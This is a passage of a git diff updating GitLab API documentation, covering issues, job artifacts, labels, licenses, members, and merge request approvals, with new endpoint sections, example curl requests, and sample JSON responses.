The `closed_by` attribute was [introduced in GitLab 10.6](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17042). This value is only present for issues closed after GitLab 10.6 and if the user account that closed
the issue still exists.
-DANGER: **Deprecated:**
+WARNING:
`assignee` column is deprecated. We now show it as a single-sized array `assignees` to conform to the GitLab EE API.
## Delete an issue
@@ -1323,10 +1324,10 @@ the `health_status` parameter:
]
```
-DANGER: **Deprecated:**
+WARNING:
The `assignee` column is deprecated. We now show it as a single-sized array `assignees` to conform to the GitLab EE API.
-NOTE: **Note:**
+NOTE:
The `closed_by` attribute was [introduced in GitLab 10.6](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17042). This value is only present for issues closed after GitLab 10.6 and if the user account that closed
the issue still exists.
@@ -1432,10 +1433,10 @@ the `weight` parameter:
}
```
-DANGER: **Deprecated:**
+WARNING:
The `assignee` column is deprecated. We now show it as a single-sized array `assignees` to conform to the GitLab EE API.
-NOTE: **Note:**
+NOTE:
The `closed_by` attribute was [introduced in GitLab 10.6](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17042). This value is only present for issues closed after GitLab 10.6 and if the user account that closed
the issue still exists.
@@ -1622,13 +1623,68 @@ Example response:
}
```
-DANGER: **Deprecated:**
+WARNING:
The `assignee` column is deprecated. We now show it as a single-sized array `assignees` to conform to the GitLab EE API.
-NOTE: **Note:**
+NOTE:
The `closed_by` attribute was [introduced in GitLab 10.6](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17042). This value is only present for issues closed after GitLab 10.6 and if the user account that closed
the issue still exists.
+## Promote an issue to an epic **(PREMIUM)**
+
+Promotes an issue to an epic by adding a comment with the `/promote`
+[quick action](../user/project/quick_actions.md).
+
+To learn more about promoting issues to epics, visit [Manage epics](../user/group/epics/manage_epics.md#promote-an-issue-to-an-epic).
+
+```plaintext
+POST /projects/:id/issues/:issue_iid/notes
+```
+
+Supported attributes:
+
+| Attribute | Type | Required | Description |
+| :---------- | :------------- | :------- | :---------- |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `issue_iid` | integer | yes | The internal ID of a project's issue |
+| `body` | String | yes | The content of a note. Must contain `/promote` at the start of a new line. |
+
+Example request:
+
+```shell
+curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/issues/11/notes?body=Lets%20promote%20this%20to%20an%20epic%0A%0A%2Fpromote"
+```
+
+Example response:
+
+```json
+{
+ "id":699,
+ "type":null,
+ "body":"Lets promote this to an epic",
+ "attachment":null,
+ "author": {
+ "id":1,
+ "name":"Alexandra Bashirian",
+ "username":"eileen.lowe",
+ "state":"active",
+ "avatar_url":"https://www.gravatar.com/avatar/e64c7d89f26bd1972efa854d13d7dd61?s=80&d=identicon",
+ "web_url":"https://gitlab.example.com/eileen.lowe"
+ },
+ "created_at":"2020-12-03T12:27:17.844Z",
+ "updated_at":"2020-12-03T12:27:17.844Z",
+ "system":false,
+ "noteable_id":461,
+ "noteable_type":"Issue",
+ "resolvable":false,
+ "confidential":false,
+ "noteable_iid":33,
+ "commands_changes": {
+ "promote_to_epic":true
+ }
+}
+```
+
## Set a time estimate for an issue
Sets an estimated time of work for this issue.
@@ -2085,3 +2141,73 @@ Example response:
To track which state was set, who did it, and when it happened, check out
[Resource state events API](resource_state_events.md#issues).
+
+## Upload metric image
+
+Available only for Incident issues.
+
+```plaintext
+POST /projects/:id/issues/:issue_iid/metric_images
+```
+
+| Attribute | Type | Required | Description |
+|-------------|---------|----------|--------------------------------------|
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `issue_iid` | integer | yes | The internal ID of a project's issue |
+| `file` | file | yes | The image file to be uploaded |
+| `url` | string | no | The URL to view more metric information |
+
+```shell
+curl --header "PRIVATE-TOKEN: <your_access_token>" --form 'file=@/path/to/file.png' \
+--form 'url=http://example.com' "https://gitlab.example.com/api/v4/projects/5/issues/93/metric_images"
+```
+
+Example response:
+
+```json
+{
+ "id": 23,
+ "created_at": "2020-11-13T00:06:18.084Z",
+ "filename": "file.png",
+ "file_path": "/uploads/-/system/issuable_metric_image/file/23/file.png",
+ "url": "http://example.com"
+}
+```
+
+## List metric images
+
+Available only for Incident issues.
+
+```plaintext
+GET /projects/:id/issues/:issue_iid/metric_images
+```
+
+| Attribute | Type | Required | Description |
+|-------------|---------|----------|--------------------------------------|
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `issue_iid` | integer | yes | The internal ID of a project's issue |
+
+```shell
+curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/issues/93/metric_images"
+```
+
+Example response:
+
+```json
+[
+ {
+ "id": 17,
+ "created_at": "2020-11-12T20:07:58.156Z",
+ "filename": "sample_2054",
+ "file_path": "/uploads/-/system/issuable_metric_image/file/17/sample_2054.png",
+ "url": "example.com/metric"
+ },
+ {
+ "id": 18,
+ "created_at": "2020-11-12T20:14:26.441Z",
+ "filename": "sample_2054",
+ "file_path": "/uploads/-/system/issuable_metric_image/file/18/sample_2054.png",
+ "url": "example.com/metric"
+ }
+]
+```
diff --git a/doc/api/issues_statistics.md b/doc/api/issues_statistics.md
index 3f0b22cca4c..20f405774d5 100644
--- a/doc/api/issues_statistics.md
+++ b/doc/api/issues_statistics.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Issues Statistics API
@@ -9,7 +9,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
Every API call to issues_statistics must be authenticated.
If a user is not a member of a project and the project is private, a `GET`
-request on that project will result to a `404` status code.
+request on that project results in a `404` status code.
## Get issues statistics
@@ -40,7 +40,7 @@ GET /issues_statistics?confidential=true
| `author_id` | integer | no | Return issues created by the given user `id`. Mutually exclusive with `author_username`. Combine with `scope=all` or `scope=assigned_to_me`. |
| `author_username` | string | no | Return issues created by the given `username`. Similar to `author_id` and mutually exclusive with `author_id`. |
| `assignee_id` | integer | no | Return issues assigned to the given user `id`. Mutually exclusive with `assignee_username`. `None` returns unassigned issues. `Any` returns issues with an assignee. |
-| `assignee_username` | string array | no | Return issues assigned to the given `username`. Similar to `assignee_id` and mutually exclusive with `assignee_id`. In GitLab CE `assignee_username` array should only contain a single value or an invalid parameter error will be returned otherwise. |
+| `assignee_username` | string array | no | Return issues assigned to the given `username`. Similar to `assignee_id` and mutually exclusive with `assignee_id`. In GitLab CE `assignee_username` array should only contain a single value or an invalid parameter error is returned otherwise. |
| `my_reaction_emoji` | string | no | Return issues reacted by the authenticated user by the given `emoji`. `None` returns issues not given a reaction. `Any` returns issues given at least one reaction. |
| `iids[]` | integer array | no | Return only the issues having the given `iid` |
| `search` | string | no | Search issues against their `title` and `description` |
@@ -98,7 +98,7 @@ GET /groups/:id/issues_statistics?confidential=true
| `author_id` | integer | no | Return issues created by the given user `id`. Mutually exclusive with `author_username`. Combine with `scope=all` or `scope=assigned_to_me`. |
| `author_username` | string | no | Return issues created by the given `username`. Similar to `author_id` and mutually exclusive with `author_id`. |
| `assignee_id` | integer | no | Return issues assigned to the given user `id`. Mutually exclusive with `assignee_username`. `None` returns unassigned issues. `Any` returns issues with an assignee. |
-| `assignee_username` | string array | no | Return issues assigned to the given `username`. Similar to `assignee_id` and mutually exclusive with `assignee_id`. In GitLab CE `assignee_username` array should only contain a single value or an invalid parameter error will be returned otherwise. |
+| `assignee_username` | string array | no | Return issues assigned to the given `username`. Similar to `assignee_id` and mutually exclusive with `assignee_id`. In GitLab CE `assignee_username` array should only contain a single value or an invalid parameter error is returned otherwise. |
| `my_reaction_emoji` | string | no | Return issues reacted by the authenticated user by the given `emoji`. `None` returns issues not given a reaction. `Any` returns issues given at least one reaction. |
| `search` | string | no | Search group issues against their `title` and `description` |
| `created_after` | datetime | no | Return issues created on or after the given time. Expected in ISO 8601 format (`2019-03-15T08:00:00Z`) |
@@ -154,7 +154,7 @@ GET /projects/:id/issues_statistics?confidential=true
| `author_id` | integer | no | Return issues created by the given user `id`. Mutually exclusive with `author_username`. Combine with `scope=all` or `scope=assigned_to_me`. |
| `author_username` | string | no | Return issues created by the given `username`. Similar to `author_id` and mutually exclusive with `author_id`. |
| `assignee_id` | integer | no | Return issues assigned to the given user `id`. Mutually exclusive with `assignee_username`. `None` returns unassigned issues. `Any` returns issues with an assignee. |
-| `assignee_username` | string array | no | Return issues assigned to the given `username`. Similar to `assignee_id` and mutually exclusive with `assignee_id`. In GitLab CE `assignee_username` array should only contain a single value or an invalid parameter error will be returned otherwise. |
+| `assignee_username` | string array | no | Return issues assigned to the given `username`. Similar to `assignee_id` and mutually exclusive with `assignee_id`. In GitLab CE `assignee_username` array should only contain a single value or an invalid parameter error is returned otherwise. |
| `my_reaction_emoji` | string | no | Return issues reacted by the authenticated user by the given `emoji`. `None` returns issues not given a reaction. `Any` returns issues given at least one reaction. |
| `search` | string | no | Search project issues against their `title` and `description` |
| `created_after` | datetime | no | Return issues created on or after the given time. Expected in ISO 8601 format (`2019-03-15T08:00:00Z`) |
diff --git a/doc/api/iterations.md b/doc/api/iterations.md
index 9f1585eed79..1ee489e4cf1 100644
--- a/doc/api/iterations.md
+++ b/doc/api/iterations.md
@@ -1,7 +1,7 @@
---
stage: Plan
group: Project Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Project iterations API **(STARTER)**
diff --git a/doc/api/job_artifacts.md b/doc/api/job_artifacts.md
index 54085e6f508..229b90282f0 100644
--- a/doc/api/job_artifacts.md
+++ b/doc/api/job_artifacts.md
@@ -1,7 +1,7 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+stage: Verify
+group: Continuous Integration
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Job Artifacts API
@@ -16,11 +16,11 @@ Get the job's artifacts zipped archive of a project.
GET /projects/:id/jobs/:job_id/artifacts
```
-| Attribute | Type | Required | Description |
-|-------------|----------------|----------|-------------------------------------------------------------------------------------------------------------------------------------------------|
-| `id` | integer/string | yes | ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. |
-| `job_id` | integer | yes | ID of a job. |
-| `job_token` **(PREMIUM)** | string | no | To be used with [triggers](../ci/triggers/README.md#when-a-pipeline-depends-on-the-artifacts-of-another-pipeline) for multi-project pipelines. It should be invoked only inside `.gitlab-ci.yml`. Its value is always `$CI_JOB_TOKEN`. |
+| Attribute | Type | Required | Description |
+|-------------|----------------|----------|--------------------------------------------------------------------------------------------------------------|
+| `id` | integer/string | yes | ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. |
+| `job_id` | integer | yes | ID of a job. |
+| `job_token` **(PREMIUM)** | string | no | To be used with [triggers](../ci/triggers/README.md#when-a-pipeline-depends-on-the-artifacts-of-another-pipeline) for multi-project pipelines. It should be invoked only inside `.gitlab-ci.yml`. Its value is always `$CI_JOB_TOKEN`. |
Example request using the `PRIVATE-TOKEN` header:
@@ -32,7 +32,7 @@ To use this in a [`script` definition](../ci/yaml/README.md#script) inside
`.gitlab-ci.yml` **(PREMIUM)**, you can use either:
- The `JOB-TOKEN` header with the GitLab-provided `CI_JOB_TOKEN` variable.
- For example, the following job will download the artifacts of the job with ID
+ For example, the following job downloads the artifacts of the job with ID
`42`. Note that the command is wrapped into single quotes since it contains a
colon (`:`):
@@ -44,7 +44,7 @@ To use this in a [`script` definition](../ci/yaml/README.md#script) inside
```
- Or the `job_token` attribute with the GitLab-provided `CI_JOB_TOKEN` variable.
- For example, the following job will download the artifacts of the job with ID `42`:
+ For example, the following job downloads the artifacts of the job with ID `42`:
```yaml
artifact_download:
@@ -69,10 +69,10 @@ the given reference name and job, provided the job finished successfully. This
is the same as [getting the job's artifacts](#get-job-artifacts), but by
defining the job's name instead of its ID.
-NOTE: **Note:**
+NOTE:
If a pipeline is [parent of other child pipelines](../ci/parent_child_pipelines.md), artifacts
are searched in hierarchical order from parent to child. For example, if both parent and
-child pipelines have a job with the same name, the artifact from the parent pipeline will be returned.
+child pipelines have a job with the same name, the artifact from the parent pipeline is returned.
```plaintext
GET /projects/:id/jobs/artifacts/:ref_name/download?job=name
@@ -80,12 +80,12 @@ GET /projects/:id/jobs/artifacts/:ref_name/download?job=name
Parameters
-| Attribute | Type | Required | Description |
-|-------------|----------------|----------|-------------------------------------------------------------------------------------------------------------------------------------------------|
-| `id` | integer/string | yes | ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. |
-| `ref_name` | string | yes | Branch or tag name in repository. HEAD or SHA references are not supported. |
-| `job` | string | yes | The name of the job. |
-| `job_token` **(PREMIUM)** | string | no | To be used with [triggers](../ci/triggers/README.md#when-a-pipeline-depends-on-the-artifacts-of-another-pipeline) for multi-project pipelines. It should be invoked only inside `.gitlab-ci.yml`. Its value is always `$CI_JOB_TOKEN`. |
+| Attribute | Type | Required | Description |
+|-------------|----------------|----------|--------------------------------------------------------------------------------------------------------------|
+| `id` | integer/string | yes | ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. |
+| `ref_name` | string | yes | Branch or tag name in repository. HEAD or SHA references are not supported. |
+| `job` | string | yes | The name of the job. |
+| `job_token` **(PREMIUM)** | string | no | To be used with [triggers](../ci/triggers/README.md#when-a-pipeline-depends-on-the-artifacts-of-another-pipeline) for multi-project pipelines. It should be invoked only inside `.gitlab-ci.yml`. Its value is always `$CI_JOB_TOKEN`. |
Example request using the `PRIVATE-TOKEN` header:
@@ -97,7 +97,7 @@ To use this in a [`script` definition](../ci/yaml/README.md#script) inside
`.gitlab-ci.yml` **(PREMIUM)**, you can use either:
- The `JOB-TOKEN` header with the GitLab-provided `CI_JOB_TOKEN` variable.
- For example, the following job will download the artifacts of the `test` job
+ For example, the following job downloads the artifacts of the `test` job
of the `master` branch. Note that the command is wrapped into single quotes
since it contains a colon (`:`):
@@ -109,7 +109,7 @@ To use this in a [`script` definition](../ci/yaml/README.md#script) inside
```
- Or the `job_token` attribute with the GitLab-provided `CI_JOB_TOKEN` variable.
- For example, the following job will download the artifacts of the `test` job
+ For example, the following job downloads the artifacts of the `test` job
of the `master` branch:
```yaml
@@ -179,12 +179,12 @@ GET /projects/:id/jobs/artifacts/:ref_name/raw/*artifact_path?job=name
Parameters:
-| Attribute | Type | Required | Description |
-|-----------------|----------------|----------|------------------------------------------------------------------------------------------------------------------|
+| Attribute | Type | Required | Description |
+|-----------------|----------------|----------|--------------------------------------------------------------------------------------------------------------|
| `id` | integer/string | yes | ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. |
-| `ref_name` | string | yes | Branch or tag name in repository. HEAD or SHA references are not supported. |
-| `artifact_path` | string | yes | Path to a file inside the artifacts archive. |
-| `job` | string | yes | The name of the job. |
+| `ref_name` | string | yes | Branch or tag name in repository. `HEAD` or `SHA` references are not supported. |
+| `artifact_path` | string | yes | Path to a file inside the artifacts archive. |
+| `job` | string | yes | The name of the job. |
Example request:
@@ -210,8 +210,8 @@ POST /projects/:id/jobs/:job_id/artifacts/keep
Parameters
-| Attribute | Type | Required | Description |
-|-----------|----------------|----------|------------------------------------------------------------------------------------------------------------------|
+| Attribute | Type | Required | Description |
+|-----------|----------------|----------|--------------------------------------------------------------------------------------------------------------|
| `id` | integer/string | yes | ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. |
| `job_id` | integer | yes | ID of a job. |
@@ -264,8 +264,8 @@ Delete artifacts of a job.
DELETE /projects/:id/jobs/:job_id/artifacts
```
-| Attribute | Type | Required | Description |
-|-----------|----------------|----------|------------------------------------------------------------------------------------------------------------------|
+| Attribute | Type | Required | Description |
+|-----------|----------------|----------|-----------------------------------------------------------------------------|
| `id` | integer/string | yes | ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
| `job_id` | integer | yes | ID of a job. |
@@ -275,7 +275,7 @@ Example request:
curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/jobs/1/artifacts"
```
-NOTE: **Note:**
+NOTE:
At least Maintainer role is required to delete artifacts.
If the artifacts were deleted successfully, a response with status `204 No Content` is returned.
diff --git a/doc/api/jobs.md b/doc/api/jobs.md
index 054260794c7..b7b742ebe66 100644
--- a/doc/api/jobs.md
+++ b/doc/api/jobs.md
@@ -1,7 +1,7 @@
---
stage: Verify
group: Continuous Integration
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Jobs API
@@ -293,7 +293,7 @@ GET /projects/:id/pipelines/:pipeline_id/bridges
| `scope` | string **or** array of strings | no | Scope of jobs to show. Either one of or an array of the following: `created`, `pending`, `running`, `failed`, `success`, `canceled`, `skipped`, or `manual`. All jobs are returned if `scope` is not provided. |
```shell
-curl --header "PRIVATE-TOKEN: <your_access_token>" 'https://gitlab.example.com/api/v4/projects/1/pipelines/6/bridges?scope[]=pending&scope[]=running'
+curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/pipelines/6/bridges?scope[]=pending&scope[]=running"
```
Example of response
diff --git a/doc/api/keys.md b/doc/api/keys.md
index b9e45c23e77..dccea1f0e0a 100644
--- a/doc/api/keys.md
+++ b/doc/api/keys.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: reference, api
---
diff --git a/doc/api/labels.md b/doc/api/labels.md
index acc80badd11..963d320a384 100644
--- a/doc/api/labels.md
+++ b/doc/api/labels.md
@@ -1,12 +1,12 @@
---
stage: Plan
group: Project Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Labels API
-NOTE: **Note:**
+NOTE:
The `description_html` - was added to response JSON in [GitLab 12.7](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/21413).
## List labels
@@ -200,7 +200,7 @@ DELETE /projects/:id/labels/:label_id
curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/labels/bug"
```
-NOTE: **Note:**
+NOTE:
An older endpoint `DELETE /projects/:id/labels` with `name` in the parameters is still available, but deprecated.
## Edit an existing label
@@ -244,7 +244,7 @@ Example response:
}
```
-NOTE: **Note:**
+NOTE:
An older endpoint `PUT /projects/:id/labels` with `name` or `label_id` in the parameters is still available, but deprecated.
## Promote a project label to a group label
@@ -285,7 +285,7 @@ Example response:
}
```
-NOTE: **Note:**
+NOTE:
An older endpoint `PUT /projects/:id/labels/promote` with `name` in the parameters is still available, but deprecated.
## Subscribe to a label
diff --git a/doc/api/license.md b/doc/api/license.md
index 8c92a46a975..9aaf68d5b89 100644
--- a/doc/api/license.md
+++ b/doc/api/license.md
@@ -1,13 +1,13 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# License **(CORE ONLY)**
To interact with license endpoints, you need to authenticate yourself as an
-admin.
+administrator.
## Retrieve information about the current license
@@ -86,15 +86,15 @@ GET /licenses
]
```
-Overage is the difference between the number of active users and the licensed number of users.
+Overage is the difference between the number of billable users and the licensed number of users.
This is calculated differently depending on whether the license has expired or not.
-- If the license has expired, it uses the historical maximum active user count (`historical_max`).
-- If the license has not expired, it uses the current active users count.
+- If the license has expired, it uses the historical maximum billable user count (`historical_max`).
+- If the license has not expired, it uses the current billable users count.
Returns:
-- `200 OK` with response containing the licenses in JSON format. This will be an empty JSON array if there are no licenses.
+- `200 OK` with response containing the licenses in JSON format. This is an empty JSON array if there are no licenses.
- `403 Forbidden` if the current user in not permitted to read the licenses.
## Add a new license
diff --git a/doc/api/license_templates.md b/doc/api/license_templates.md
index 1b68af9ce31..7587721968b 100644
--- a/doc/api/license_templates.md
+++ b/doc/api/license_templates.md
@@ -3,3 +3,6 @@ redirect_to: 'templates/licenses.md'
---
This document was moved to [another location](templates/licenses.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/api/lint.md b/doc/api/lint.md
index 24de4a24ff1..48a7be13a28 100644
--- a/doc/api/lint.md
+++ b/doc/api/lint.md
@@ -1,7 +1,7 @@
---
stage: Verify
group: Continuous Integration
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# CI Lint API
@@ -246,7 +246,7 @@ GitLab API using `curl` and `jq` in a one-line command:
```shell
jq --null-input --arg yaml "$(<example-gitlab-ci.yml)" '.content=$yaml' \
-| curl 'https://gitlab.com/api/v4/ci/lint?include_merged_yaml=true' \
+| curl "https://gitlab.com/api/v4/ci/lint?include_merged_yaml=true" \
--header 'Content-Type: application/json' \
--data @-
```
@@ -293,7 +293,7 @@ With a one-line command, you can:
```shell
jq --null-input --arg yaml "$(<example-gitlab-ci.yml)" '.content=$yaml' \
-| curl 'https://gitlab.com/api/v4/ci/lint?include_merged_yaml=true' \
+| curl "https://gitlab.com/api/v4/ci/lint?include_merged_yaml=true" \
--header 'Content-Type: application/json' --data @- \
| jq --raw-output '.merged_yaml | fromjson'
```
diff --git a/doc/api/managed_licenses.md b/doc/api/managed_licenses.md
index f7f6fbfbc47..d0944aefd64 100644
--- a/doc/api/managed_licenses.md
+++ b/doc/api/managed_licenses.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Managed Licenses API **(ULTIMATE)**
diff --git a/doc/api/markdown.md b/doc/api/markdown.md
index e382ca6b7c8..c7908f02b6e 100644
--- a/doc/api/markdown.md
+++ b/doc/api/markdown.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: reference, api
---
diff --git a/doc/api/members.md b/doc/api/members.md
index d616dfdd85c..05914b50cd7 100644
--- a/doc/api/members.md
+++ b/doc/api/members.md
@@ -1,7 +1,7 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+stage: Manage
+group: Access
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Group and project members API
@@ -11,15 +11,16 @@ info: To determine the technical writer assigned to the Stage/Group associated w
The access levels are defined in the `Gitlab::Access` module. Currently, these levels are recognized:
- No access (`0`)
+- Minimal access (`5`) ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/220203) in GitLab 13.5.)
- Guest (`10`)
- Reporter (`20`)
- Developer (`30`)
- Maintainer (`40`)
- Owner (`50`) - Only valid to set for groups
-CAUTION: **Caution:**
+WARNING:
Due to [an issue](https://gitlab.com/gitlab-org/gitlab/-/issues/219299),
-projects in personal namespaces will not show owner (`50`) permission
+projects in personal namespaces don't show owner (`50`) permission
for owner.
## Limitations
@@ -89,7 +90,7 @@ Example response:
Gets a list of group or project members viewable by the authenticated user, including inherited members and permissions through ancestor groups.
-CAUTION: **Caution:**
+WARNING:
Due to [an issue](https://gitlab.com/gitlab-org/gitlab/-/issues/249523), the users effective `access_level` may actually be higher than returned value when listing group members.
This function takes pagination parameters `page` and `per_page` to restrict the list of users.
@@ -241,6 +242,10 @@ Unlike other API endpoints, billable members is updated once per day at 12:00 UT
This function takes [pagination](README.md#pagination) parameters `page` and `per_page` to restrict the list of users.
+[Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/262875) in GitLab 13.7, the `search` and
+`sort` parameters allow you to search for billable group members by name and sort the results,
+respectively.
+
```plaintext
GET /groups/:id/billable_members
```
@@ -248,6 +253,21 @@ GET /groups/:id/billable_members
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `search` | string | no | A query string to search for group members by name, username, or email. |
+| `sort` | string | no | A query string containing parameters that specify the sort attribute and order. See supported values below.|
+
+The supported values for the `sort` attribute are:
+
+| Value | Description |
+| ------------------- | ------------------------ |
+| `access_level_asc` | Access level, ascending |
+| `access_level_desc` | Access level, descending |
+| `last_joined` | Last joined |
+| `name_asc` | Name, ascending |
+| `name_desc` | Name, descending |
+| `oldest_joined` | Oldest joined |
+| `oldest_sign_in` | Oldest sign in |
+| `recent_sign_in` | Recent sign in |
```shell
curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/:id/billable_members"
diff --git a/doc/api/merge_request_approvals.md b/doc/api/merge_request_approvals.md
index 89e4224c735..e3ebb61768e 100644
--- a/doc/api/merge_request_approvals.md
+++ b/doc/api/merge_request_approvals.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: reference, api
---
@@ -173,6 +173,104 @@ GET /projects/:id/approval_rules
]
```
+### Get a single project-level rule
+
+> - Introduced 13.7.
+
+You can request information about a single project approval rules using the following endpoint:
+
+```plaintext
+GET /projects/:id/approval_rules/:approval_rule_id
+```
+
+**Parameters:**
+
+| Attribute | Type | Required | Description |
+|----------------------|---------|----------|-----------------------------------------------------------|
+| `id` | integer | yes | The ID of a project |
+| `approval_rule_id` | integer | yes | The ID of a approval rule |
+
+```json
+{
+ "id": 1,
+ "name": "security",
+ "rule_type": "regular",
+ "eligible_approvers": [
+ {
+ "id": 5,
+ "name": "John Doe",
+ "username": "jdoe",
+ "state": "active",
+ "avatar_url": "https://www.gravatar.com/avatar/0?s=80&d=identicon",
+ "web_url": "http://localhost/jdoe"
+ },
+ {
+ "id": 50,
+ "name": "Group Member 1",
+ "username": "group_member_1",
+ "state": "active",
+ "avatar_url": "https://www.gravatar.com/avatar/0?s=80&d=identicon",
+ "web_url": "http://localhost/group_member_1"
+ }
+ ],
+ "approvals_required": 3,
+ "users": [
+ {
+ "id": 5,
+ "name": "John Doe",
+ "username": "jdoe",
+ "state": "active",
+ "avatar_url": "https://www.gravatar.com/avatar/0?s=80&d=identicon",
+ "web_url": "http://localhost/jdoe"
+ }
+ ],
+ "groups": [
+ {
+ "id": 5,
+ "name": "group1",
+ "path": "group1",
+ "description": "",
+ "visibility": "public",
+ "lfs_enabled": false,
+ "avatar_url": null,
+ "web_url": "http://localhost/groups/group1",
+ "request_access_enabled": false,
+ "full_name": "group1",
+ "full_path": "group1",
+ "parent_id": null,
+ "ldap_cn": null,
+ "ldap_access": null
+ }
+ ],
+ "protected_branches": [
+ {
+ "id": 1,
+ "name": "master",
+ "push_access_levels": [
+ {
+ "access_level": 30,
+ "access_level_description": "Developers + Maintainers"
+ }
+ ],
+ "merge_access_levels": [
+ {
+ "access_level": 30,
+ "access_level_description": "Developers + Maintainers"
+ }
+ ],
+ "unprotect_access_levels": [
+ {
+ "access_level": 40,
+ "access_level_description": "Maintainers"
+ }
+ ],
+ "code_owner_approval_required": "false"
+ }
+ ],
+ "contains_hidden_groups": false
+}
+```
+
### Create project-level rule
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/11877) in [GitLab Starter](https://about.gitlab.com/pricing/) 12.3.
@@ -401,7 +499,7 @@ DELETE /projects/:id/approval_rules/:approval_rule_id
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/183) in [GitLab Starter](https://about.gitlab.com/pricing/) 10.6.
-NOTE: **Note:**
+NOTE:
This API endpoint has been deprecated. Please use Approval Rule API instead.
